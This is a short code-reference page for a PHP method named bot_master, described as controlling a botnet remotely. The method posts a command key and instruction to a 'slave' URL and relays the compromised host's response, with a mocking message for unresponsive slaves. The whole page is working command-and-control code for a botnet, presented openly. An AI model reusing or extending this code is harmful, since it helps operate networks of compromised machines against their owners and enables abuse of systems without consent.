Controller\Webot::bot_master PHP Method

bot_master() private method

Controls Botnet Remotely
private bot_master ( $url, $command_key, $instruction )
$url
$command_key
$instruction
    private function bot_master($url, $command_key, $instruction)
    {
        $web = \Web::instance();
        $f3 = \Base::instance();
        if ($f3->get('VERB') == 'POST') {
            $error = false;
            $params = array($command_key => $instruction);
            $options = array('method' => 'POST', 'content' => http_build_query($params));
            $request_successful = $web->request($url, $options);
            if (!$request_successful) {
                \Flash::instance()->addMessage('The Request was unsuccessful check whether slave exists', 'warning');
            } else {
                $result_body = $request_successful['body'];
                $result_headers = $request_successful['headers'];
                $response_header = $result_headers["0"];
                $engine = $request_successful['engine'];
                $headers_max = implode("\n", $result_headers);
                if (strpos($response_header, '200 OK') !== false) {
                    $this->response->data['content'] = $result_body;
                } else {
                    $this->response->data['content'] = "Slave seems to have developed disobedience it said: \n\n " . $headers_max;
                }
                //convert array header to string
            }
        }
    }